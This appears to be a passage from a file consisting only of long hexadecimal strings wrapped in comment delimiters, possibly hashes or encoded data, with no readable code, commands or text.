df19fc097e56d9d8a004c4371d0b1ca252dac2073be36ee20ddc12abf884570eac66551d094b6fd3749113721c10358821131dcc70fa25a42600224a9db4e0db8966647ef7ebe8d96363c8029137be395bacc665fea228e6051bf0f64fa7486c9112c25aa9259acfc6ef427998cffa5b603cbdb6df6df78371213f330cdbd6299ace29d40e82040af9bb29165d244218ca5a765308b9ff4354c7ac06cc7431198863703d48de4bc3f5de7e29b36ec329913e6b0cffb6e8989722a1bfd27675460d046862b4c9aa267c6d5bfb77c8b442b541946a9789ce15c8df4110b2980fa8207d07a93fb39c81dd2b1050556eb48d60e4accc214c6a52b695602adb7c4eee10d043d93bddb452d0ac8e25b5d97baf48730009b597eb8675bb23513a00533d525509fd45e396a864f095670b8017f1cbdda4776681cdc9f3226e78cab180d96421307a8fa3c5d6c480a211f71ad7525c5e9aa56caddc5d46030b64624d99a327a8ced1b2647f086804c88c794585b42fa7fea8efa682a9f969a6cd8eef058fff9b271d7dbe690972b63e0572462f3bb1e12784e61f46a869c07ecc27e4f392d6cfa03955c72601aa9369b2031c88d7562936e5fe615b04a4ae13c95ab1cf7d800bd7ba79aa913ee0ec779c0f927f29781c5701c7c64533e729d7d9f8d4cf91215e723ace81f8e833179e42c89a00572a7b4f4ee1e11bafc86a168c32bae9c1e83e16def7890d5a221f648a223fca54625842cb4b038e607945fa78a02208e23a33e5493668fab4d5ee149d4e00c4f24a5bc129395ca80dcb40a8136be148e9018bdf435f820e542fb6c8e89fb64b8c81d36806224366983d96c9465d2d2411539ad4d3d4a91a317bd8093e00f22b6bee94950757a07166447a1cd7ee11c24ab7a963e213aed629e963b01f1a1ed3bdaf08295537cd6c58c35328783b3411e5a48446ad62bc38174d0362f9e7b19dac85d28d18423485be9d4aa9be9c52535dd94896b0deb7b860af6a3ad158812ee5b592026b54487f4e556690ef00505015836190b9e5d3a44cc2a611e0d33cb62515434022fc994c72bbf1814dbc582162c287c64e9e3261ee5a6102176859eaa7158d32d2c63dfefb51add358feef788f595b701f23bf86209a1078a671789f27c97c817269077bfdb5afb1d8d7f3962007719abab7d0a27a6a44121bdd29a891b48c4dcb0c6c774f87925e926e6005120ba7d9c2ff664b81ec60cf17adb5c4bf6663f530e7178671baf8d04fe95598825a1898e655d0e997c620a4354bbad3fd79ee62f5667c228565d7475ce886cb74cc56e7871951684389051566b377910d62b1b5b0fd822ea9f654dd607622108588863cad59044e2f0d0699c17640d500c165b4a774c941f12162acbd8c34eda517803a275e1fa9d3d4e7d20816f8676d2b0c0f015491ea14b96561033f6d19ecc78afadfae7157c2ab8bd7a84d70246aaa1272327c4c2a7b5897683ed43f934a5886f1a6c1dfcd266e8151cb23459dbcda1968cc7922a0e5346b22f66c603c5c0f0c542a59ea516c29c0c3ba938103906de8bcd48d484c15c251babb7ca30082deae180f1c97bf6f9f8eeb7b7b02d739b917e4b731763e0025bf9be79a7a5e93e859e91a824330e21ba2ee797dbcfc1a55ec771e871e04029c2db05e8a1548e84382c7e7bbef4a7a5df3d8b883fe4beacfb70265911336b348523f178db41ed136712dc461512782291f0da1ed4095e18b27aa84220d295c54367e5a4efe8ffe5c0ac37ab2eb12132cece97cfdd8ebf998ab3eea2274fd9b7b409c18a8168640516704eaa63c8db4d4fa9d35465e84c269210f22f6193da30392cb3003b64c44d721be0f4117ffc419e6710813b5b2baa321f838decf8f5f20edd0ddfe9c1e84a278f072edf25519af92280a7af8c3041db3eefc7af1fd97b074bd932504d52b0db5da6d1ac126b30287f091477dc51edd70be3a17a4f864cb755a18eac20053cc470919ae572d3ae4da7550e0e5d76b0b76ba4b1a256acfa1a3c65bab1d926f28501da85c845f977eaeb*/
/*22ef9b4f89c0d56973e50f1d345a33f3d45994def9d82d02b03fff0f45772adc61c4680693ad7d2a4e8b1009191de5c118c6e8f1dafbbc0ad960dc1a193162db93ffd6a1e886e967bc336195d7f6fe8892dde6204f70bb611b3e968b9bbcb693d3762366d0ed64342e563f131f4b7120162c51be4289d634b9a052e9c8cd2c3b2c7c38164c2a90007accc1d0d25cc1d437da39e7abc6f581e5586760eb96f4d666f7060fc6b835ae95d8854ab2751ba3e169f6d881dd9fd4924f5b0929ec89a7cb7003e13c05d6b1613dcc78cd345d3b2658793c72039153bfa194a3f83ef5997d3aff6458974662b758a2c130b87773d0bc0717900ab7d0255291dd22f97a6f47008a254ba60084a1de9c9b44823064191e016243a0eb4a20c77d6a19b705cc1b6f224ced7b6132a6e51b7d2c8b4b6e7792284da762d24deee631f3ef2a290d7f149e2abe3abf9d03b13583dc50455df2539a6bc95c832e968faccebd827ddebf507f81b56bd39c2521cc58aa684bfaa2f4b0159f31497c106a35c638b44e358fed018cf218f9f00aed2afa4c1a5642fc74976ee0bfaae567174c30bc569b1e2e6c089bc0213d8a24eee96253eed4dfb7887f66afd6a5534d27b6c19bac5685f84601771a361d86443ec09b04c8318a40924ceae381ba8a671094ecdc4906ae77c40ab37c532d97e8dd53ebe850f400cdf2f8923e403b46e69bf0a07427eb00c0d6fb9b43a920616655bf48ae3915df17ad2cfa749669418d32abc372bd5e196a9f77d61fbbdcf4f485cbd8ccdcb9df3ae340b6e377afbaba43acea1fed8d95bd762e12a57d0c96f006a9a5f8f6a07f6cf2a4eb6320bab5c2f3767416f13037d6453b5b88123957d91940eaafad24bf9fb631bbfa5472c2c341e299c58d4310e1dad9aeeff0d2fa263698e0d76fae252256b7ba95239ba7ee4da7fc86ecd243c115c081c3f6e79f5b1b7a4fd8d5307ed6a7fca5478cea79e46e940db02c2725ebd344df19a4edf80484e0ac986da1882ca84328a830c5610542be26e62eea64c1c844c972ff33f4db9f3e3c6cf63cb00dd354c82e05fdd21bc15197c1cadb53e53004958d999dd95b8b00f146fd9396ea4d7a4ebcab858516fa4e8e60eb49bd1145536bd501137330dc8469be17a489a39d67b739f555a6d43e01adb11f1b43b6ccd5fc9d3c65ed286a62800f072c68a3f522ab1a1fb288f061ddeb642443b13eaa926af35740987e99a80267d3378845027d50138228e43a8da8a5730af23ed93ccb424c4bbb52e028f67ee41b2b2dd5be5364df025aaa5c28d84d0a2e7c6d1e7742a2d3bce847d9e9567323a9d1a7463443934d02b9ff9b46d539832fdf8327bb8e55967a21ad37c3f0b03a825ffebd01cff33030d5650eaa2522e07799b83b1f44e3146409cad361910cfa2fe5a8e84ae0c053dd906c1c9229713308a77c6faeb4665f23207d493ae9bf8cb4fb065da73fd570851b8097127b34fc75e4defdd687c8239df8a0899b7ede98e835b3a2e025e52b02abe287538ebcfd966477c4551cefc61c71d01248072002e0a137ee6364e3fa344f66fd56792315e84d2057ab5f2c9b7cc8a36d6d3b7667dc33d4d47c03b3c8daef3d688163cbb7234140328b533bfa7575575640b6f7b877055a2e3bd2ec5e54b1ae266b4accb9a6b1854754ed63f74276513700481a6601b817cc8a8ee709517afde223d639daa1e4ca9c262eb10da79e9ebac2a3b7d21f6e257deed7d27082f9e820d3cbcfdb7238eb127826222039c8fdd62ec08ea1b500e98325e63522ac663ddd6484116c936499e809c184b4c74d291c9eb535c7cf57e9ffaec787c42d3e0d1435a931b211a0440edc221a4308d8ca579e0c5a90d561499c5db119524f1f4d6c83f22fdd9146dec4fc6485bb9349c1b071636f3001eaed5bcf86bbe00fd90223f0071cce8176091da0678ec0f214cc25e5c78101c939feab313ebb635c62ba9daac6c78fcc792c349c9cbdb30eb01b8d519c07eef9f6bd36c7f4f30fda7bba588ccf11c85b665efc3f1111e8ce16ed33636f25e2bc15b3b1de0c7ecb7efe4eb8c7f86a6aab21c930e4c26f61b5eb8dc334e8c77f024f83ff4fe08ad7f93028aeed5ea709d8a9ad5200948e8a29a86209e627032c291484ffa08a9345c0a0ea2558e2fc0e429ae7f971e77b7669efd8387ed4bf1cd17dca33375fd21986e8ac916075dcf776f75faa5212be5ea344c571b394792a42c337eed9d98749aea32dfc68e150661a91648f864a608c3af527444af791db7be45f47f2d785076aaa25087869da98bc18a2403b2ea89b290de602d55e473c8d5b438b0ec391236a704f0fcfd01aadda0472113a2ee5c3fa3e26d204315885d400702a35d31f117afda58a0c540fce7a170a16260003e35bd54d04d1c7ec6a239bea97eac4f6b2bc0eaa09733e14b076647dbdfd16917d5633fa17768b900b8267696da639f4e3b6b46659f580804755311faaa0e3e5b2cfe354d8150e6e56ab2e7faaeaceed1336c7b35e62fe54686500d3f62af8b461c594d1d81a81f211553436085073237d627a7bec975ccb353f5cd543a1498d7d7e55779974161107315fa7c13c4494305c314c74544013e3d82837b47cebe8c959268a2330f31e42fed319d8b99394af26a370fc607b29102cf44372fcbf6c9511f76114b78efb7aa34aac140cec366632ad9476609a9ae8a6f8d9918ff9ce0658ded547778fa3e2719b285faefebd9e0ff34296c1db327ea4f01a71d5811e8b90c3016a169afd2d8a4024e9200f53ecfe27346b2542feea57ee899d5c69a01818d0df02a3cfb56c6f4456*/
/*a328d52dbac903ebde99827318d54a82af7311ec9d290c0010d2e7eb3e97ed4f06d6ec5ede655697f28e6390199d1edc8bac493cad5d447b7a640c686089ce15e1f9f4267f9c3e6f602c40ca2490fc2f426a1d9eb3c8f124821aa329f85d966363ddace6c082ba7ab8bb406d2c729d210878e2971f1a76063368dd777f0885d62ac279faa094fa42afac5c5f2a3bd175f5814dbe363e9128d777179b1ad108a6c63462c0d386d0028390be46813d78900ba0acea952a1bb101b8783d3deae943f391fee4759746972c6191c399e0e50ced583fac26328ded814932a9b63b4433e15883506b116e9f7b55cba22152a46639e4aa78ec26c0cbbbdbb3dd4be96489eed084dbf073418a79516a2ec214b294a7efea58a751acea4ec8e7de94263e1a1b7f570ada4217770743fafe0f2006a4ab770033667a82f8f8fd807f50d17e0cf0380337fc8c530ccc8bdd8d06090c497e5b199147aa52f7ac7ed02fec9d9f5f53c0825f729555b134cbc912231c130fbf6eee0517792946c787461f6885b0a0b1c0b7708c8dea994f001fe7978d8687130e1d7cb50c23b0510582cffd633704466cf79e02a4fee60e7be21395110e5fabbb29f6f2848b495e03d2f6d3b41f4e151892e43c546faef73fa7d15aa8ef1296407de533f97e158f56c1af4b21115d5d308bc0b79d899d9c8660127b1d8236c35803278466ddb2459b4f4e04e5ae5e52a3a56afa693b54d2732fa43d9ee2c72c6f6f4dc55309089de95e0c44bfc95d93c1fce48b65e06fe8c74023d0f2f7abe487d0137520af7db955f6929e9ce4f509d726c0594a6cd1d0496db4ade4e36fe09c3b99595a48c104e513abf16b527e2a57a4b4fc1cb86c3281bdd75706c18442b057f024eb1c9acc5bb1fa894482253f612337e854c36f5094e4198f8fd9964bc393c0c629974d86dd82cf2222209262b4d05e053f6885c4974739a3957428d70e502bb91024eb492c434cf95459543c5fbcaf9355483e956db2ac834aa62e370fa983c2ff59f0027da66806f0aead7f25a6343a48aef6e85bdcf8116b44b96677055181df309dfae895fa349127d80b5fcb870d628eecd7efab077fc1dfdd151df2ca2e163d064ea221a8edf0e65512b3f5b2a00f3dd08b34fc00719863c2836d9a0ce08f7a01fdae13a8f29def17477a79392a1b2743ab7e5cac83b6b9df4d0e134d11c45d7fde08577473c1a6ab43480e28522a04834e98c83aea56e31f5ed260fd78cf95d516e783beea4134d759186a5d54df23d94dd5304bc0d17680452a105669172f91249195fca844d4edf783ddebc0f08d242c37ef619552af59d0c8a409ae17987c906a1ef7db7653b59866692d173d36044c9eaa9bcd6257ff25e560da920654c1a5790dbcb876b01fbd7588c23b438cba229d631574eabcdcf25600b5f92dd9553f26f228f1be72e1b42ab22e9a295e4bfd47ccd26da90d3d43744259f7b958fa8bd3967a0bd58172d362878c394faec50f5037e69b80754b0f043299257ad80d630e2ee31f60514bfd0ac56cc964de4e6591a69ea6cd819b34e1430ddc5569793776befd93572235d6e70c1afb0ca6528e43195c7ceccadd3fd8a3da363da3af79cabf5f5d52b024e140d0e8c12d045d75cb21bd04b41429caf297a0f9a179d8a65d0569bc24c66ed283fec4389be8f28ea48d538e6f55f7e39419182e7dd884f3485a6e297484ffc456149c825ed5be08c6d36b3737de294cfc2b7e6a5ab9879b2730d4ef4bb877f16d148c1f7966e46f47a31277355307fb41a7ff4ad524602eda7860e019c3028c37b7f80848cb3eca29382f51c2e20a6bda8d6f543746f9c679b87e6ef60b28ed26d44205d986614757700f935b53b19fd7c8919ce7951326e1ecefe36a354f00b0bc0c4641ae127bbe20d76e45c6782f88478b23fde9172fa88f9ee4fb15c2825365dbd74881f5aab24d03d64a55a065a661f0378ef468d9e2ce991282f73f0c6d2e06cefe9e939fb4f6b43d7f609814fe5705b1dbe110249fffc8100bc8e81339140be7b451c32ae8236d72d500ad6a3e299f69963e5de5b4153b6d171ce7847ee0e38a6f4daae02c46c1fff69cd33bc32800abbf5305ad57cd40a0c6201af6847300ac6e9bf68c1044851184181a8e8506b0efe0d36f5ad85b680f35d9965747c341c358c91202d66d1767b54dede2baf4903c68ed1436d0965e626a5976b0c7103f60eb6d8253770bae85c7257ff629d4f7a6cf0b5d9cac6d504efd39f3f72523ee577735d6a51a6e91471a2666b99afd3dab28ee1efc309aa1b11069a4b6e9d8d1f9a1889a90018266e98986bb8f50d7ce6d9c17630b7492dd18937e057e83af3ca6d9ff88e53a4f5a230a704d86784e7625a13d1f69db79ee740b257f065050766787f6d186ab7060d7c7d5384bfb9b5bf538a250795458bb467679804f0b82aa4b2b4a54c17030aa368aee2ea2e8645d96d8b3ddd9924189e9b1c60a05bed06cc025d90349ec913d9e4f9aea8bcad94bb7a806188704936a3558ab96a5a41d366fc1f10fb4c86aefed120b272dfcc71166f4da460cfaf3221c21b2b9bcaae50b12669dfb634dbf90e299b510864e65a976db3d58b45c65ca6dbee6ca3511a030cc0fa93308cefc06c20def0f42c48a3082abf33105a7064de65b2f7abdc8ce47ea0220901570d5d2d829e856113cc77cd8ce5e355620bda653283f559b689f2448a7b487d9840a0e02e41eaea389bfdc554ab2d5139c7f0252cca03e3a159ab2417a544ce2860327dc005e6e4358ceb0607f50a1a46aec68066844df4e17318204e490c291b1a241cfb4e306*/
/*e78c12f16907a7c3c17d12ce50027b1a1816e86b4075c9702a49a95d94aa8652d67ca1e490ef23b3a0766b822b745b13d5592695feca4391447b02d8301670e02308251304ea96b42f73361dc106153a15f50b4172c6f7df9ba78af6440cf32c85d222a8d684d2c0eab3757d84f7d6a71f86446226cf9eb943e275f4536608bf75bfd73c6fa6e5811a56f22e7f0fb9afc71cafe3b481dcb6de2bcfa39fcfe8ea4a83fcc367a184481e72ce558aff5fe1e0dc4153057ef4d30ef9b2d56bdef650e03e7b29f0a03cf91eb2a5dc89549d88ce8a157e26545c055e4b130ca1bd49cf9b11e7bbd92ca08be7b5c710fa9527a6d3e9cd29f5276eadcf6e83cf6710ab45f1d4ae7169df9122d9aa0bee88ec663c39ecb78d1c983943654aca999bb952dc394badbb169ef210708dd1529659a331e39b49c004c43d8277544238de0dbfe10e08db942fc7641846aac5a74e8c35a163085b7256f63d49763749f2b7c4f8fc703d18d095425a6908074c75ddfbaf9c509ab003750651e5738538bda46f7e393150dd8d174183f8ac68dad7a5fe0b6673977e7a70673830d4039a602490a31d6ec1e9891de037a8ee4d2b5a8e7545303ec6bb2b60a0257c8926877055992721b296630415b3977b5d8e2a15cf48d9b5c9f71a6349db7a81103737094131b8d1ea6591111e9cf1aa438eecb7b807eccd3495948d63307469afee18f934f5ecb0973e87618a099e24bafd4eb78af76bd4dc50212f0a1b33f74006e94569dd4ec1a8ad23e996d8cf00d8ac00ffd0b658be52d50247ba7120fc7c395ec71e2add877491cc12fbc167ea0be1a0e9a129253289733efb4816cf67780fc1d9c26749af0080e09840eae2d8f941ba034ebc13fdcbff9448f3a0b03e5f5fd8137fa7224b1d0346525e73914f618741526b2861fcbaff07a1ed50618685e4d430a13064519750f846399764c018aa45838097e84f320f461bca493b5cfbbb3c535085a1970c0c5396c14ae1a4f8a4b74998abcc28e445874b77ec9f6da61ce6c81aa92390bef59c70ec7b5c6682dbece0eea39ff5ca722fd3615d4f07c6f056254a5628c5e79178eed3e3d28d460db7ca1f35032be83b512c09799e78303d97691764357effcc7ac609161bf0ddc4e9fc28bd3447bb9f6fa5e65a82ecad3953a631a4a4cd52abe422069a5e587eb34a4bbad2b780e2b963343e3c3a7355dd52ca04698a436c219c79ae7296a677172d3c0e6de1c019b1fbf203fbde970741eb4653c5e59b03f6b48840adff3492b433ad205f0d06015262cfe9e601890462ba663f4bf0e2e1091901f0986a3a5bcf7814cb7b59a5923d21170fe19598e4f423298e80752ba96d74fe30963565485b3fd1892b3fd6a62f4d357c3b484350d152b150b6cc192c1fca86b745ff72cec03676bbb8fa3acc8b1d316bc5df1e0e02d207d0ae34c5b8d2b80c08d68b70086e7d2e5ed5e2cd42ffafba90762aa4f1820500f66826d7df20766f2f7f6b41a9eae58eeba88a1f9aa6c58275d29ecb6e88dcae6cf053f41068956bfdf7558d2bb3febe298e65c7a7661b4c5ac3cbf65dffed3bb7ea1bbce8745ce1c613ce75ed08b3bec36b69d28ec09eb39a06a58917f2ff57c1c23c718c85720e7322d788c00a503ae67a81262a534dfd67a7f54368f00fe8fc0730e51e7845dadd2b31d4caeb8bfbe2f389d84cf949c4ece5edf5aae7fc4994a85480041dbbf267d8ca49ac32c4475faa5645b8edcef47023cc1a7d48a89f9482765a96280ceef3208720ae3cbd6f1092516bd171ba938b8e6bf8a1708535b18659d6d8d1feaf0a5c96d84f2fdd67245c4af7d1019e18550110a7443172d8e16c9e2e2f941dc963d3a74f1bb7fa548e28262b7ce14b62555c539af070f75420ab3f807c0bb2617bcb448c0e558628a623de67ac43152bf5d49f7d9b956bbfe047235d292fd00c73a7b6956a9480cdb94a96bc4ea049486bc9d5f8734b02be96c95f7719a6e047568758849b1b05827d9b050c7421032dc01bb5c238e630d300dcf62e0ca5c4023acda302733a9baf67101791a8f60f035da7c582a460a2762d7bc42a846e126184cf7546983ce1e92262733193297f4e17a51f9750f3fd407ad909f69aa96b5dc2aff7f6206df914d862512c9452109513dfc94ac62a422ce56c87ec4461e07d8fad354789ecd0e83a31fdfdf66f2ff7f4e26ab7d5d76513dd585025571fa291f9d1263732f9ae0414adf29d69fa4bc8fb31755c57ccf1cc25e438b0e9f69257aed8c21522f7382efc8ce8902f10918552253ebc2c75d2d35575260782636af6089528dd0abd49dd7d539d4822e205d7db8ab547cb1c6a727180f4e66f8136e9ccd80a9456f58a7ff3ddd85d0b0f7a559b2c4663d49cf44950d09619494a0e94818c367ed0a9b656da4338ac9d0e8d2a7302f9da1085fed4633cf053d44eba08c3e5378be48de092800ab1698c3f4309d21a296b4c39f1aef73ecd27126bab0057c9d53e67a3b46edc080364aa37bbb5a11a00e42c948b9a01b73017cce6f96f6886897ce7004609c3c19b0633adce899197ac1b22700a959f73be13551f67289bf3a1824faef1b6c7bb4d32f63349ec85214e03908bcecc569c07ed8dac2fe0ccbf1462bfd10d07c2595e1f8ad0ee594e6ec9de9b6ff91120860e38a291c026537494bf9b3c27cef459a37049a26e4f301808498542678aafed1b734ea542ca8d4fde076efd86fae5c08a7ed472bddd232e9f12fc92e7d18cc141f569c6aa27a7ad9990e37fd1ed3568f6e969293b47ceae0f58374f2888ae551da8ce9f9f49440d9ae675fb11b3b295fb0f*/
/*73719bf3bd56bb8352f2a2a33ada32774fe5f74161cc5e12bfb71b4ff0122d22387ba63242df2d5a3ea38a1f8a262082ae01ebe6f02c6381ae10bae75587e0e2c4f88f09d99ebd1dce402bc069cbde0ba8ce1ae83ba6b3d1352257f1f09b10070349981e99fd88bfdf1e7be14b8eb2047a0de15c98ad31c4c41c5f1ecbb3c113a3ed5c303d265011bd1f218323724146bb1ed7b8f27bbd42b42132e8856d478c5d4489fbd1bde18caeae18375a3e97f1c5ff79440d124740129f2b1a0cd77b715f1d6904b8e0b784d3b3ee5827b23143ec202690822f638e823eb65287ba34b2fe68dab164a2878fd25cccd300db5cc393a28d92a93948c735638d5a9961a087ec80da16f2010ba1b038aa5c84241c4783dd13fb0232d9b77f9979ef0a1f61095304200ea82b97fa16041bae5831d8fc59af906a5eb9153d3fd8ae71c3e2362eb5d8d34daeb154ac8405b5460cc1279d5fa26e134991e01764f9010a5e80a1a858ad3ba605b054094c7eb6e94f27a7e9b543480962cec75d4406b23bcf1daf9e4d54475f344c78a0109bff3e2f3f1e0a66813451460d733c048c0d32b7990e8a5f1e47175f9c9bae459a93c804ec33804044d738e2795c2b1be96190db8a57aa5e08700efd15084d9bdd4340eed6087bd91179fb8e72164e1e1874d253a354d095ea7a5893fe8864fb62e9fcedf35772681008815e179934f9cbbc805be5fa4ad5f3b2b89856f89605709efb7bdda5fce790680cb7b37e28c515313cafe69cbc5e12d3c7a8d6a8a620836a629952b9a36e65be7249c2f72876025b424a2f69135a9319ac98e180a3438998551e0029366be485fa912b753c180468ba6b30cc2ad62790762a3b877d1a6f3e08d706e605d68836e2a2fc9c2d4aafc3c8e7e455a675a257fbcc85f935c4e3688a2593373c365a7a5edad2a3f664845170017070ad99b7bc82a5b9e78195e2f3003e802bc79f05c4e31f8d864625eb7b1f332c70285463b3342b62b6393d4fb1c71fd4af69434f860e66998d9296817e947d38f2d6cc1f7c34cb9619c54cb05c32060d1f9f38f5e0ecc9f88d6b339f9fa47ab444ff35c19f857e2df4e1e443b7fc086c06780e8420cd4c4c10dafb5612cf0cc48806d3fb9cc27fc05bbd40ba88c18fce5d1ea2179d75a299da2cc9ec80d8336d324558a7e26881b680550a7092e8fb5222bd164efadbfd094cbd03b45959eeb4267a220c021e610d4415d9bf2ee4cf2995cdaaeeeb9567668dbb8e69f334026ce87f379295b079cf743c0539d1fa8626874559e08f95f9bc0caaea4105fd3c1ff1c259c7f5cca2bab219c3b671c0cf0a3dedcfb3f003b423062ac548971d8d58b309e060a5678007599aa70494265f4e769d251caab802664d5bb65e2a96193a943c9d22a561e438212522ff85976801477523720784e2f810be515668444e58dd0d1c903d1ca08df1b66b94791820734cda739ade143cdb214babd1a2d75ee6b4003cca7b1fcb2ac81b01d6b17040db9692525306afea2b346b355e8d6bc0626b06ba44f3074beedf543dbd863d29efc7b412f39cd1028b5d268ce4894b6379a09358e5a5bbea1325d9470bda3afcf6447eb41e5b749b502b6c1f96b616bad8dab568e43ff8b7cac1bf4b544fa2107eeaeae69eb5c53c92b70412678eded1408d1b6b362eee36d99506090a63094a45c5cd2ff8b89334cd450fda3bd510bbd912e6cb6a5302de4ed0d3046d18c8018577a693d3466b060ceb79af6a64ad32a87741c27e6ca5017bbe45d357893e4561a0790b417146cc9eba05c04beb143195a68ec5a42eb5eae26d4d1fd09d8ef245335002299c69ed55193ce3d4975bebedda561a05f63347d04981840b46b92da72d0d5db55cebe9e8ed7d58dd3650649c4ca510cd0bcbca859acbecd01d9d8bf78ec759afe0853b43b59742dfb83cf0735c55b95093c45f8535fee07fbe5b5b06a6a76a9bc5ff5c7fab976a54524e0490c07c435483dd73fd24199ae5ee1f82593b7dfa7f49617ff413e213ef5cd355863a2db726a568e8afc3e047d7116c800949ea85b1d553199e83f36258f82fb3b762de39679410caa2a524e55353a216b3cdcfce58c46d04adf881b4e0d0216cb862a1ef7fb35a01ab3ffba11aea4a99aa452d0d12c2848131f03a4f0b561f67a13dad51bcbc5e60b55742ababcc58d35f717d1671300458493cb6b40f21c82a5df40ea44a8fa2cabd641680589d52bcd35108c8390ad36e9575e3ad36f1df75324de75afc48d74b60db672eec67212af186a9384d0c7c6831b1e6adfff7fc720e3325cd35af12ecea17217fd3513158efd26717c69aaaf4f4d4428298b8ab9d6fcd7d83119d624d8bdebbe7b674cfed0922f8a953605a4600f128c9331376d6441322cf4f64255c348c121d5eb5320f107813d2622fea3d885bd5d4984658f7e07057b625e74da14a8a8d062ca6b5f75be33e2831213d48602f2270164e794cc53c25b111af59b380c89b8e10e024f0dc37e554159279cf51d1a530464c85a1587742d0b57737cce02128011b82bdef023cbf2c20daac5e0ff491ea34b1c5c36dce5ac2bd387e2708356062acebe077a1f77c08f75530abeb2dc953704dbe71575d56864673e5a0b5f9068810ee76746d34af0c543c846eb4c14a4f2acbb3cfd9902356245390c252d229bbc617f4e1e8516a5a29b04017ede796d5fdc69d7b9a1dfa111969b5c9891e3629f36ccebbbcf41f4056bc61f03f806b7f4650edc093df25980eb467b9df0fc491dadeccc0f41660057b060100cc666fcb048c11c8dda6fa8dbda76c39666ce6ddd80f0f19ae1446*/
/*e9fc4658ab1ad77a255ab7c9eccd13d6f47378947f70843d95e79d1393d29dfd3c6de701fde808d014914e83415e2b5c807c889d4673152ef409a3e1f60458a394e3eaac6b25c5b51ae5331d51511fe6c380a20bef49d0ea93547110db4e2a6f24fad8925b74ac2f7320542092d3a9c2a6e65d3a8e5ee7ca7413ae4c19469303ac002a48d2aeb30a92e879549925ebc63784c351470639291cc68bc67953fc3ead1e3821a3c52102b146d3d82e585d75e500f6327ba1ca39ad2c1e44bfa3ca4aedcb46dde52820fb409bf8fa02418ec2f19c2aa766819f2dc401ec28be40748454ffa0bdf5942d799a3fb506d6d3094ffce7a9904f24339bdf1ec10ff741a57a9c03cc7815e8c80bee97ba0c2ea1925fd839604c9674cfe968ed1d9895251f4ef56de3c3e0f66be66ad7921072417768daf4161ffe9379ba86566c4cbc95a9b346538a69c710d2f5e0dfc0deecbd1fef50214bbceb8a4ffdd89b31d4c6ece6128c36925251fda76dc57197245b2b0d0e7feeeb968c71529e8993ce0837fbbbb91201b6e2005dacf317fdb15fc28d1c267e694483af151ded1d1b9f756a17811d5e04c2507fc303533a64946138b9428e3157e0c373cff4e45bae38c723ea5213f9c25874c95243a16abaa88b37004709cf3ae019db68c187ce681f816a23b5802b1cb0346801675ea50820bfab5dde81c342e44632866511dc65db932f764dfbae63722feafc387521bc7eb8cce5a0e3bd9cb4358aea448570df4c899991960f6fd13bf7f4b1ac344450ac5b8ca08e4b4cb5fe5d7a592896327ac4b76afc6bcbed7bb8c216a008aff329c415e7dca18ffaecb3f4e54d44943a675d931b2d897e6e013d0bd139635cbe44b0be8bcdedc8801c2a4bca667754f23720213f8e5798ee89f6aa4bb8c2f1e958b2d23cfe70058f4225f4b4458597907b3658d1237c791197251b36f4afbdc7e3f395954ddbbf77c33fac384b714933923a7d438331ae4af43fd38af57d92270bdd40181f093247ab716f9bc74504b708ba1877957484605fca243d81a05dd6326ca03cd5b65fc3ee9461ee8f0b2b4560336ebc967c35556fb35b2ce2c54be5ef07c9e8aa3a5319f11683a6482dd2cb0a5469aeeb22441d857af75d777225069218fcbbd579a3f4bf1ecf0799a6053643f39285daa25657c64ee8264614fb58525620f706b36a0a09b4fcab42398b339f79655abf8ca39d080c1f4b3533d815c58e9c3c6ef3989f2415911355201c582fa23e88bdc9ec3d16b5d5b39d02e58973a4dba01de634a3d86cf4c504366c5da02ed23bd8e7f997bf76249889dc88c36fabbf8929aa4e72b591476bc5b9fcf347dabdc8c35a8909784bd11a67da9e7b2694cca4795c4214292d7f1690559149e044fe9f9e2c4f239675860c5096cabab488517aa16bc46b18688be37b61972f7faccad8de11f040686964258537c5b50b990d380f689ead11fd88fea315eb94372896b054ef2cf755f2d0ca683596b68102e068d5ba9ad1d234a9d5307875c32869747c06c21788fcaee3bb35c0a1903264661b85cffd31e72dcbaf4045ff3a036c626f4a8375262dd596a8eae34231649d30476bf6204dc656a135885a9b4b2e924692c020e0530dec3c7f07474cea9068809ee95d18fd3e71fda56094242b3cb0891ecf9ebb9fd3179eb6ee2658f39db107d9fd18b588f6db8c0bdc2fb9ff660ed5de89e019a3dfbc4222a3be36b1dfe205707e20aff9e3dd71be948d642a1353490c36cd19398cb4b8a4ab81e5b61d0e5e73f600501d5608f5ea100c9bc156d624aee3bc8ab7d3d8612be7a42203be43b4df255305bcc1bae89b6eab03abd1b71c7e18471d7a8741ce34576997c2754f15399290f20d4df873e8c5d4b0b295096819e0260857ea0aeda7a6a83b8bd77247ead5a336abc00a4a111c24132183fe0fcc689405f7303170585fc3d23c908f645bb329265b93161ae5201b882f5dc29b2c7972535886d10cf7d7d4845b9ec375d3552652fc88a867e27bec12d2bfde7f86618ca4123e13f701dd0374d5569bf24755e6d8df53d0d5a7d7220277e47e6db03d19fda582e260f67f9c2fc78762d5d5b78a31610229c8fc0f99b5134c08dec35d1ce72b659131384f52642086c75c866fdd0d6e4826aad488533dc40440cd5c289d4bb02dfc224ec0c8ea85a8d3fae99d04bf0f40322ce70b05307f352c713cb3f78861a98b06aa4c10ce1fbe9db99b57bc2acf02e2f5133f78f1265e49e26b34e40175282cb5d7e13fe753b0ab0588a53994d551a6b2da06c9acf0d1f83fb748499d9d71fe5f195485ecadc7b781ae5296b967f08c7ece59c02ee7f8efe7e13c4e832fd063ff19cde0f78eaaa40cacc476a05024b407f984217ad89c80b16ddef8645159cb24a2f8fd9a19b23ae379a48c730ed1623bbacc502615a42b40561b56fb339faf2096dc854b0c8ac9a5e6ff4818a29b32bec94da24f5cd5e9546d474c2b9df7f60532a2e79ca4d3848994d9fe678480b4a6acca80ba545a38657d17a80b2e54acb018f710c5e1871d559d2898d8d165b6a300d3e56594b61f86335affac585bc5b433954140389a236a30ef2c827ca299f7e7fcbabcac91d1065511c509dec12831138dd6ded020ed9d4e3f76cc8f9ed11dae9146c300302a9f88a9434cfd268b99ea28a1f4ea739ffb665352fa430905f273eb09a0f4acedb5f8575b7370aeff53a600eb2d493baef151836bb7b4e75a28eee8a37241a37c2c168ab62479177552f994b5d904302a7da84bb3158070701e5adef5a3ec2e1476dea02c74c8740c04abbb8dcf0c384887dfe28c33*/
